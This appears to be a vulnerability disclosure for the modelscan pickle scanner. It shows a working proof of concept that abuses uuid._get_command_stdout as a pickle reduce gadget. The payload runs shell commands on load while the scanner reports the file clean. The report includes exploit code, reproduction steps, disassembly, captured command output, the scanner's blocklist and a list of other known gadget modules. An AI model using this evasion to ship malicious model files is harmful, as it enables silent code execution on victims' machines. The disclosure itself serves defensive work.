YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
modelscan 0.8.8 scanner-evasion: uuid._get_command_stdout pickle reduce-gadget (RCE)
Summary
modelscan 0.8.8 (latest) statically inspects pickle GLOBAL/STACK_GLOBAL opcodes
and flags a global only when its literal module string appears in the
unsafe_globals blocklist (modelscan/settings.py). The blocklist covers
os, posix, nt, subprocess, runpy, asyncio, socket, pty, shutil,
sys, pickle, bdb, pdb, a subset of builtins, and operator.attrgetter.
It does not cover the standard-library uuid module, which ships a helper
uuid._get_command_stdout(command, *args) that resolves command with
shutil.which() and then runs it via subprocess.Popen((executable, *args))
with a fully attacker-controlled argv. Used as a pickle __reduce__ target this
gives one-shot command execution that modelscan scans CLEAN, while
pickle.load / joblib.load / torch.load execute the command.
The gadget
class Exploit:
def __reduce__(self):
return (uuid._get_command_stdout, ("sh", "-c", "id"))
_get_command_stdout("sh", "-c", "id") -> shutil.which("sh") ->
subprocess.Popen(("/usr/bin/sh", "-c", "id"), ...).
Reproduce
python3 build_poc.py # writes model.pkl
modelscan -p model.pkl # => "No issues found! π" (exit 0)
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))" # runs the command
Verified (modelscan 0.8.8, Python 3.13, Linux)
modelscan -p model.pkl->No issues found! π,total_issues: 0(seescan.json)pickle.loadandjoblib.loadboth execute the command.- Negative control: a benign pickle produces no execution and also scans clean.
Root cause
Blocklist-only (deny-list) detection. uuid._get_command_stdout is a
subprocess.Popen wrapper in a module the deny-list omits, so the malicious
global is invisible to the scanner.
Suggested fix
Add uuid (and other stdlib subprocess/os wrappers) to unsafe_globals, or
move to an allow-list model that flags any global not on a vetted-safe list.
Impact
HIGH β scanner evasion enabling silent RCE in ML pipelines that rely on
modelscan to gate untrusted .pkl/.joblib/.bin model files.
Pickle disassembly (pickletools.dis model.pkl)
11: \x8c SHORT_BINUNICODE 'uuid'
18: \x8c SHORT_BINUNICODE '_get_command_stdout'
40: \x93 STACK_GLOBAL
42: \x8c SHORT_BINUNICODE 'sh'
47: \x8c SHORT_BINUNICODE '-c'
52: \x8c SHORT_BINUNICODE 'id'
57: \x87 TUPLE3
59: R REDUCE
61: . STOP
The single global is uuid . _get_command_stdout, followed by TUPLE3 + REDUCE.
Captured evidence (verbatim β modelscan 0.8.8, Python 3.12, Linux)
===== MODELSCAN 0.8.8 SCAN =====
Scanning .../model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
EXIT=0
JSON: {"summary": {"total_issues_by_severity": {"LOW":0,"MEDIUM":0,"HIGH":0,"CRITICAL":0}, "total_issues": 0, "modelscan_version": "0.8.8", "scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []}
===== pickle.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),...
PWNED_VIA_UUID_GADGET
===== joblib.load =====
uid=1000(kali) gid=1000(kali) groups=1000(kali),...
PWNED_VIA_UUID_GADGET
===== NEGATIVE CONTROL (benign pickle) =====
benign: no marker (correct)
No issues found! π
uuid present in blocklist: False
Dedup / prior-art note
- Not a known CVE. modelscan's deny-list model is by-design, but each newly disclosed stdlib gadget in an unlisted module is a distinct evasion primitive.
- This
uuidgadget is NEW:uuidis neither in theunsafe_globalsblocklist nor among the ~40 previously-filed modelscan reduce-gadgets (dataclasses, spawnv_passfds, logging.config, doctest, codeop, marshal, pydoc, numpy.ctypeslib, typing, inspect, code, cProfile, timeit, operator.methodcaller+ctypes, etc.). uuid._get_command_stdoutis a directsubprocess.Popen((exe, *args))wrapper with attacker-controlled argv β a clean one-shot exec target, distinct from the string-eval / import-based gadgets in prior filings.